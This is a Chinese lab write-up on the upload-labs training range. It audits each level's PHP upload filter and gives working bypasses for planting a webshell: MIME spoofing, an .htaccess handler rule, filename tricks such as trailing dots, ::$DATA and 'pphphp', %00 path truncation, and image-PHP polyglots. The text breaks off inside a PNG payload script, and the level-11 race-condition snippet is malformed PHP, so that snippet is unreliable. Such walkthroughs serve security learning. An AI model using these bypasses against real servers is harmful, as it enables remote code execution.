uploadlabs通关思路

目录

靶场准备

复现

pass-01

代码审计

执行逻辑

文件上传

方法一:直接修改或删除js脚本

方法二:修改文件后缀

pass-02

代码审计

文件上传

1. 思路

2. 实操

pass-03

代码审计

过程:

文件上传

pass-04

代码审计

文件上传

pass-05

代码审计

pass-06

代码审计

文件上传

pass-07

代码审计

pass-08

代码审计

pass-09

代码审计

pass-10

代码审计

文件上传

pass-11

代码审计

文件上传

pass-12

代码审计

文件上传

pass-13

代码审计

文件上传

pass-14

代码审计

pass-15

代码审计

pass-16

代码审计

文件上传

gif

png

jpg

pass-17

代码审计

文件上传

1. 准备php文件

2. 上传

pass-18

代码审计

文件上传

1. 准备图片码

2. Burp抓包

3. 在文件夹里查看

pass-19

代码审计

文件上传

1. 大小写

2. 添加后缀

pass-20

代码审计

文件上传

1. 上传

2. 抓包改包

3. 验证


靶场准备

  1. 安装phpstudy

  2. 下载靶场:https://github.com/c0ny1/upload-labs

  3. 靶场解压至phpstudy下的www目录

  4. 打开phpstudy,启动apache,版本不要太高

  5. 运行靶场的phpstudy.exe文件,显示成功,就在浏览器访问靶场

复现

pass-01

代码审计

 function checkFile() {
     var file = document.getElementsByName('upload_file')[0].value;
     if (file == null || file == "") {
         alert("请选择要上传的文件!");
         return false;
     }
     //定义允许上传的文件类型
     var allow_ext = ".jpg|.png|.gif";
     //提取上传文件的类型
     var ext_name = file.substring(file.lastIndexOf("."));
     //判断上传文件类型是否允许上传
     if (allow_ext.indexOf(ext_name + "|") == -1) {
         var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
         alert(errMsg);
         return false;
     }
 }
执行逻辑
  1. temp_file记录上传文件的临时名称

  2. img_path是为上传文件构造的新路径

  3. move_uploaded_file函数把文件移动到img_path

  4. 通过file.substring(file.lastIndexOf("."));获取文件的后缀

  5. 和白名单的3种文件类型对比,判断是否属于其中的3类。属于则可以直接上传,否则就上传失败

文件上传

方法一:直接修改或删除js脚本
  1. 打开BurpSuit,开启抓包

  2. 先上传一个符合要求的图片

  3. 选中包,右键,选择Do intercept --> Response to this request,之后放包

  4. 之后立马就可以抓到另一个包,打开就可以看到响应部分,如下图

  1. 之后,修改.jpg|.png|.gif的当中的任何一个为.php,然后保存放包

  2. 然后进到靶场,上传准备好的webshell,此时webshell是可以成功上传的,可以打开uploasd文件夹看一下

  1. 访问一下上传的文件试一下

  1. 蚂剑再验证一下

都没有问题

方法二:修改文件后缀
  1. 把编码好的webshell的后缀修改为符合条件的后缀

  2. 打开Burp抓包

  3. 在靶场上传

  4. 打开抓到的数据包,传给Repeter模块,然后把文件的后缀恢复,点击send就可以了

跟方法一差不多,这里就不做演示了,如果把方法一实践一遍,那是完全可以实现方法二的。

pass-02

代码审计

<?php
 include '../config.php';
 include '../head.php';
 include '../menu.php';
 ​
 $is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '文件类型不正确,请重新上传!';
         }
     } else {
         $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
     }
 }
 ?>
 ​
 <div id="upload_panel">
     <ol>
         <li>
             <h3>任务</h3>
             <p>上传一个<code>webshell</code>到服务器。</p>
         </li>
         <li>
             <h3>上传区</h3>
             <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                 <p>请选择要上传的图片:<p>
                 <input class="input_file" type="file" name="upload_file"/>
                 <input class="button" type="submit" name="submit" value="上传"/>
             </form>
             <div id="msg">
                 <?php 
                     if($msg != null){
                         echo "提示:".$msg;
                     }
                 ?>
             </div>
             <div id="img">
                 <?php
                     if($is_upload){
                         echo '<img src="'.$img_path.'" width="250px" />';
                     }
                 ?>
             </div>
         </li>
         <?php 
             if($_GET['action'] == "show_code"){
                 include 'show_code.php';
             }
         ?>
     </ol>
 </div>
 ​
 <?php
 include '../footer.php';
 ?>

其他地方就不分析了,主要看这里enctype="multipart/form-data"

这个设置表明Content-Type这个键的值是multipart/form-data,而这个值的一大特点如下

  • 将请求体分成多个部分(parts),每个部分可以包含不同的数据(如表单字段、文件内容等)。

  • 每个部分都有自己的 Content-TypeContent-Disposition 头部,允许客户端指定文件的类型和名称。

然后某些服务器可能只检查请求头中的 Content-Type,而没有深入解析 multipart/form-data 的每个部分。

例如,服务器可能只检查请求头中的 Content-Type: multipart/form-data,而忽略每个部分的 Content-Type

利用这个逻辑漏洞,伪造文件类型

  • multipart/form-data 的某个部分中伪造 Content-Type,将 PHP 文件的 Content-Type 设置为 image/jpeg,从而绕过服务器的文件类型检查。

文件上传

1. 思路

直接在靶场上传一个php文件,然后使用Burp抓包,把数据包发到Repeter模块,然后修改Content-Type的类型为image/ipeg(代码审计得到的结果,自行审计),Send之后就可以访问文件或者使用蚁剑测试是否成功了

2. 实操
  1. 上传php文件

  2. 抓包并改包

  1. 蚁剑连接测试

连接成功。

pass-03

这一关弄了一个黑名单,黑名单里面的后缀文件不允许上传,其实跟前两关没啥区别。而且很简单。

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array('.asp','.aspx','.php','.jsp');
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         $file_ext = trim($file_ext); //收尾去空
 ​
         if(!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
             if (move_uploaded_file($temp_file,$img_path)) {
                  $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

过程:

  1. 先判断文件是否存在,若存在,则获取其文件名称

  2. 通过trim函数去除其文件名称多余的空白字符或者转义字符

  3. 然后通过其自定义的deldot函数删除其文件末尾的

  4. 再通过strrchr函数获取从文件名中最后一个.符号开始的后面所有字符串(若上传文件为xx.php即可以获取后缀.php)

  5. 然后通过strtolower函数将后缀名全部转换为小写,

  6. 然后通过str_ireplace函数将后缀名中如果存在的::$DATA符号删去。

  7. 然后使用trim函数对后缀进行去空格操作。

  8. 通过in_array函数对比其后缀是否属于 $deny_ext中的几项,若不属于,则继续上传

文件上传

这一关特别简单,方法很多,比如把.php改为.php3或者怎样的,只要不是黑名单中的其中一个就成了。

所以就可以这样做:

  1. 直接上传php文件

  2. 使用Burp抓包

  3. 发给Repeter模块,修改文件后缀为.php3

  1. 访问测试:

pass-04

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         $file_ext = trim($file_ext); //收尾去空
 ​
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件不允许上传!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

这一关跟上一关并无太大区别,无非就是黑名单多了一些,没关系,我们利用.htaccess文件就好。

.htaccess文件可以简单理解为一个提前预制的命令,在文件里面写好要运行哪个文件,以什么形式执行, 那么上传的那个文件就会按我们提前设置好的要求执行,即使是在下级目录也可以。

文件上传

首先是开启.htaccess功能。

找到phpstudy下的apache文件夹, 如

D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf

打开httpd.conf文件,把AllowOverride 设置为ALL

然后构造.htaccess文件,编写一下内容

 <FilesMatch "info.jpg">
   SetHandler application/x-httpd-php
 </FilesMatch> 

然后先上传./htaccess文件(.htaccess文件就叫这个名,不需要添加其他)

再上传修改了文件后缀为.jpgphp文件,然后访问

结果如上,成功上传

pass-05

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         $file_ext = trim($file_ext); //首尾去空
 ​
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件类型不允许上传!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

这里看着唬人,其实一个大小写就绕过了,把.php改为.PHP就成功上传了

没啥技术含量就不说了,下一关

pass-06

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
         $file_name = $_FILES['upload_file']['name'];
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
             if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件不允许上传';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

这一关有点意思,主要是它把.htaccess过滤掉了,也就是说不能像pass-04那样处理了。但是却有更好的处理办法,这里就要引入windows下文件系统的一些特性了。在windows中,文件名属于以下一种情况是会自动去掉末尾

  1. 文件名最后是 .

  2. 文件名最后有空格

  3. 文件名最后有::$DATA

那么,利用这个特性,就可以绕过过滤了。

文件上传

首先打开Burp准备抓包

然后直接上传一个.php文件

Burp里把包发给Repeter模块,在模块里给文件添加以上说到的后缀,然后在upload文件夹里验证是否上传成功

抓包修改如下:

再来看一看upload文件夹

注意,这一关的代码里有去.和去::$DATA的函数,所以不能通过这两个绕过。

话虽这样说,但是我这样:$DATA,也就绕过了嘛

pass-07

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
         $file_name = trim($_FILES['upload_file']['name']);
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         $file_ext = trim($file_ext); //首尾去空
         
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.$file_name;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件类型不允许上传!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

对比上一关的源码就很清晰了,这一关就是要在文件末尾加.以绕过,因为连去掉.的函数都没有了嘛

这一关的

上一关的

这就很简单了,一样的步骤,不演示了,下一关

pass-08

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = trim($file_ext); //首尾去空
         
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件类型不允许上传!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

源码里有去掉.的,有去掉空格的,所以这一关就是要使用::$DATA绕过了,对比前两关的代码就可以看出来了

6、7、8三关就是利用windows文件系统的特性(而且还要求是黑名单)绕过的,很简单,在pass-06已经演示一种方法了,剩下的一样的步骤,就不演示了。但是注意了这些方法在Linux环境下大概率饶不了。

pass-09

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = deldot($file_name);//删除文件名末尾的点
         $file_ext = strrchr($file_name, '.');
         $file_ext = strtolower($file_ext); //转换为小写
         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
         $file_ext = trim($file_ext); //首尾去空
         
         if (!in_array($file_ext, $deny_ext)) {
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH.'/'.$file_name;
             if (move_uploaded_file($temp_file, $img_path)) {
                 $is_upload = true;
             } else {
                 $msg = '上传出错!';
             }
         } else {
             $msg = '此文件类型不允许上传!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

四个函数,deldot、strtolower、str_ireplace、trim,把大小写、Windows文件系统特性都过滤了,怎么办呢?

简单啊,它不是先删除.,然后转小写,然后删::$DATA,然后去空格吗,那加一层码喽。

这样构造

 mm.php.空格.
   
   这样会先删除 . ,文件就变成这样 mm.php.空格,注意这里还有空格的;
   然后什么转小写啥的就不管了,之后去空格嘛,这样文件就变成这样了 mm.php.;
   然后没有匹配黑名单啊,所以上传嘛,然后又是Windows文件系统特性,把最后的 . 去掉,然后就成功上传了嘛;
   如下图所示:

pass-10

代码审计

$is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])) {
     if (file_exists(UPLOAD_PATH)) {
         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 ​
         $file_name = trim($_FILES['upload_file']['name']);
         $file_name = str_ireplace($deny_ext,"", $file_name);
         $temp_file = $_FILES['upload_file']['tmp_name'];
         $img_path = UPLOAD_PATH.'/'.$file_name;        
         if (move_uploaded_file($temp_file, $img_path)) {
             $is_upload = true;
         } else {
             $msg = '上传出错!';
         }
     } else {
         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
     }
 }

这个就更简单了,利用str_ireplace函数,把匹配黑名单的文件后缀置空嘛

那还是一样嘛。加一层码

 mm.phphpp

它又不调用两次str_ireplace函数,既然要过滤,那给它嘛,它把里面的php置空还有外层呢

文件上传

先构造好文件

 mm.phphpp

然后直接上传,再访问验证就好了

上传:

验证:

pass-11

这个题在实际应用中可能衍生一种竞争型的解法,但是需要多次尝试,这里给出思路。

这是一个以php文件上传的一个特性为基础的思路。在php中,上传的文件会先到达temp目录下,然后使用move函数移动到上传文件夹下,再把临时文件删除。在移动临时文件和删除临时文件这个间隙中间有一个很短很短的窗口期,那么假设它有一个读文件的函数,比如

 <? php
 file_get_contents($_GET['a'],'<?php'){
 include()
 }
 ?>

它先读,如果匹配了php后缀,那就直接die,如果不匹配,就include

那么,如果先上传一个无关紧要的文件,在它读的过程中再上传我们的木马,让木马正好走到file_get_contents函数下,函数在读无关紧要文件时没有发现问题,就会include,此时就会把我们的木马一起include,这样就可以上传webshell

但是这个窗口期很短很短,所以可以预料的是即使成功了也是n次尝试的。

这个思路是解一个国际CTF比赛的思路,很值得思考借鉴。

代码审计

 $is_upload = false;
 $msg = null;
 if(isset($_POST['submit'])){
     $ext_arr = array('jpg','png','gif');
     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
     if(in_array($file_ext,$ext_arr)){
         $temp_file = $_FILES['upload_file']['tmp_name'];
         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 ​
         if(move_uploaded_file($temp_file,$img_path)){
             $is_upload = true;
         } else {
             $msg = '上传出错!';
         }
     } else{
         $msg = "只允许上传.jpg|.png|.gif类型文件!";
     }
 }

虽然上面给出了一种竞争型的解法,但是实际上这一题不是竞争解法。这里它使用了白名单。

它会截取文件的后缀比对白名单,符合才会允许上传。那也许有人说了,改后缀不就好了吗,那不就可以上传了吗,是的,允许上传,但是解析不了,相当于真的把php变成jpg了,毕竟这不是前端绕过啊,前端绕过我们是上传php,然后Burp抓包修改的,本质还是上传.php。那怎么办呢?

其实这一题,用户可以控制上传文件最终落户的目录,我们可以抓一个包验证一下

既然这样,那我们就在这里动手脚,文件的拼接不是这样吗

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

如果我在sava_path这里做一个截断,把后面的内容都不要了,比如这样

 ../upload/web.php%00
   %00 是 URL编码 的 \0 的十六进制,而 \0 是 C语言 的结束字符
   php底层也是C语言嘛

这样截断之后,move函数在移动的时候,本来是要移动到upload文件夹下,再重命名,但是现在没有重命名这一步了,而且也不是放在文件夹下,而是直接放在文件里,相当于move函数直接把我们上传的文件的内容直接放到web.php里面。这样就上传成功了。

来验证一下

文件上传

首先构造好jpg文件,

 <?php phpinfo();

然后修改后缀为jpg

打开Burp准备好抓包之后上传jpg文件

打开看一下文件内容

pass-12

代码审计

$is_upload = false;
 $msg = null;
 if(isset($_POST['submit'])){
     $ext_arr = array('jpg','png','gif');
     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
     if(in_array($file_ext,$ext_arr)){
         $temp_file = $_FILES['upload_file']['tmp_name'];
         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 ​
         if(move_uploaded_file($temp_file,$img_path)){
             $is_upload = true;
         } else {
             $msg = "上传失败";
         }
     } else {
         $msg = "只允许上传.jpg|.png|.gif类型文件!";
     }
 }

这一关跟pass-11一样,就是save_path的接收方式变了,pass-11get型,这里变为了post型,我们抓一个包看一下变化就知道了

原本在1的位置,现在变到2的位置了,需要在3那里改。但是在这个位置改的话就不能使用%00,因为这里不属于地址栏,需要使用另一种方法。

文件上传

先这样构造:upload/web.php空格

然后点击HEX,找到对应位置,把20改为00

保存好,然后返回Pretty,点1,进行查看,就会发现有\0

然后Send就可以上传成功了

pass-13

代码审计

function getReailFileType($filename){
     $file = fopen($filename, "rb");
     $bin = fread($file, 2); //只读2字节
     fclose($file);
     $strInfo = @unpack("C2chars", $bin);    
     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
     $fileType = '';    
     switch($typeCode){      
         case 255216:            
             $fileType = 'jpg';
             break;
         case 13780:            
             $fileType = 'png';
             break;        
         case 7173:            
             $fileType = 'gif';
             break;
         default:            
             $fileType = 'unknown';
         }    
         return $fileType;
 }
 ​
 $is_upload = false;
 $msg = null;
 if(isset($_POST['submit'])){
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $file_type = getReailFileType($temp_file);
 ​
     if($file_type == 'unknown'){
         $msg = "文件未知,上传失败!";
     }else{
         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
         if(move_uploaded_file($temp_file,$img_path)){
             $is_upload = true;
         } else {
             $msg = "上传出错!";
         }
     }
 }

审计代码,发现这一关会对图片内容进行检测。也就是说,把php后缀修改为jpg之类的已经不能上传了。但是呢它对内容的检测又不完善,所以一种思路就是把payload插入到图片中去。

文件上传

这在windows环境下就需要使用以下命令了

copy 文件A全称 /b + 文件B /a 新文件名

这样就能得到一个包含php payloadpng文件,然后还要验证,首先是查看图片是否可以打开,不过不行那就换图片再插入,一定要保证图片可以打开。确保图片可以打开之后,使用记事本打开,找一下插入的paylod在不在

也可以使用专业的工具010Editor查看。

这些保证没有问题之后就可以上传了,不过即使上传成功了,也不一定能执行,因为有可能图片有问题。这时候之只能换图片不断尝试了

pass-14

代码审计

function isImage($filename){
     $types = '.jpeg|.png|.gif';
     if(file_exists($filename)){
         $info = getimagesize($filename);
         $ext = image_type_to_extension($info[2]);
         if(stripos($types,$ext)>=0){
             return $ext;
         }else{
             return false;
         }
     }else{
         return false;
     }
 }
 ​
 $is_upload = false;
 $msg = null;
 if(isset($_POST['submit'])){
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $res = isImage($temp_file);
     if(!$res){
         $msg = "文件未知,上传失败!";
     }else{
         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
         if(move_uploaded_file($temp_file,$img_path)){
             $is_upload = true;
         } else {
             $msg = "上传出错!";
         }
     }
 }

pass-13一样,就是加了一些判断图片后缀和大小的代码,对于这一关而言,没有什么太大的作用,按照pass-13的方法,多试几遍就能成功了

pass-15

代码审计

 function isImage($filename){
     //需要开启php_exif模块
     $image_type = exif_imagetype($filename);
     switch ($image_type) {
         case IMAGETYPE_GIF:
             return "gif";
             break;
         case IMAGETYPE_JPEG:
             return "jpg";
             break;
         case IMAGETYPE_PNG:
             return "png";
             break;    
         default:
             return false;
             break;
     }
 }
 ​
 $is_upload = false;
 $msg = null;
 if(isset($_POST['submit'])){
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $res = isImage($temp_file);
     if(!$res){
         $msg = "文件未知,上传失败!";
     }else{
         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
         if(move_uploaded_file($temp_file,$img_path)){
             $is_upload = true;
         } else {
             $msg = "上传出错!";
         }
     }
 }

pass-13、pass-14一样的,把phppayload插入到图片中,然后检查没有问题之后就一直尝试,直到成功为止,思路是没有问题的,就是需要一直试,一遍不行就多来几遍。

pass-16

代码审计

 $is_upload = false;
 $msg = null;
 if (isset($_POST['submit'])){
     // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
     $filename = $_FILES['upload_file']['name'];
     $filetype = $_FILES['upload_file']['type'];
     $tmpname = $_FILES['upload_file']['tmp_name'];
 ​
     $target_path=UPLOAD_PATH.'/'.basename($filename);
 ​
     // 获得上传文件的扩展名
     $fileext= substr(strrchr($filename,"."),1);
 ​
     //判断文件后缀与类型,合法才进行上传操作
     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
         if(move_uploaded_file($tmpname,$target_path)){
             //使用上传的图片生成新的图片
             $im = imagecreatefromjpeg($target_path);
 ​
             if($im == false){
                 $msg = "该文件不是jpg格式的图片!";
                 @unlink($target_path);
             }else{
                 //给新图片指定文件名
                 srand(time());
                 $newfilename = strval(rand()).".jpg";
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                 $img_path = UPLOAD_PATH.'/'.$newfilename;
                 imagejpeg($im,$img_path);
                 @unlink($target_path);
                 $is_upload = true;
             }
         } else {
             $msg = "上传出错!";
         }
 ​
     }else if(($fileext == "png") && ($filetype=="image/png")){
         if(move_uploaded_file($tmpname,$target_path)){
             //使用上传的图片生成新的图片
             $im = imagecreatefrompng($target_path);
 ​
             if($im == false){
                 $msg = "该文件不是png格式的图片!";
                 @unlink($target_path);
             }else{
                  //给新图片指定文件名
                 srand(time());
                 $newfilename = strval(rand()).".png";
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                 $img_path = UPLOAD_PATH.'/'.$newfilename;
                 imagepng($im,$img_path);
 ​
                 @unlink($target_path);
                 $is_upload = true;               
             }
         } else {
             $msg = "上传出错!";
         }
 ​
     }else if(($fileext == "gif") && ($filetype=="image/gif")){
         if(move_uploaded_file($tmpname,$target_path)){
             //使用上传的图片生成新的图片
             $im = imagecreatefromgif($target_path);
             if($im == false){
                 $msg = "该文件不是gif格式的图片!";
                 @unlink($target_path);
             }else{
                 //给新图片指定文件名
                 srand(time());
                 $newfilename = strval(rand()).".gif";
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                 $img_path = UPLOAD_PATH.'/'.$newfilename;
                 imagegif($im,$img_path);
 ​
                 @unlink($target_path);
                 $is_upload = true;
             }
         } else {
             $msg = "上传出错!";
         }
     }else{
         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
     }
 }

这一关的亮点在于使用imagecreatefromgif函数,把我们上传的图片打乱,然后生成新的图片,但是人肉眼看起来没有变化。

这样一来,我们插入的payload就有可能被打乱,导致webshell上传失败。这也是防御图片码的一种方法,但最好的方法是没有文件包含这个漏洞。

我们可以看一下是否属实嘛

原来的图片码:

上传后的图片码:

那怎么办呢?

想一下,有没有可能,这三种格式的图片会有一部分区域,这个区域在整个图片打乱前和打乱后是不变的,如果有,那我们把payload插入到这块区域就能利用文件包含漏洞把webshell上传成功。

文件上传

gif

先上传一张正常的图片,然后下载下来,打开以一些专业的16进制查看工具,比如010editor,找到那个前后都没有被打乱的地方,把payload插入那个位置,然后再上传插入好payload的图片,之后使用文件包含验证即可

这个思路没有问题,问题是运气成分太大,如果你运气好,刚好拿到的图片问题不大,那一下就好了,如果运气不好,那你可能试了十几张图片依然没结果,但是没办法,就是要一直试。

png

png图片插入payloadgif复杂一点,因为png图片是由固定数据块组成的,如果不能区分清楚的话很有可能导致上传是报错。

对与插入payload,由以下两种方法

一、在PLTE数据块插入

这种方法有些别扭,因为需要保证图片是索引颜色类型,也就是说如果文件使用真彩色或灰度,可能没有PLTE块。所以这里只提出来,就不演示了

二、使用脚本

脚本编码:

 <?php
 $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
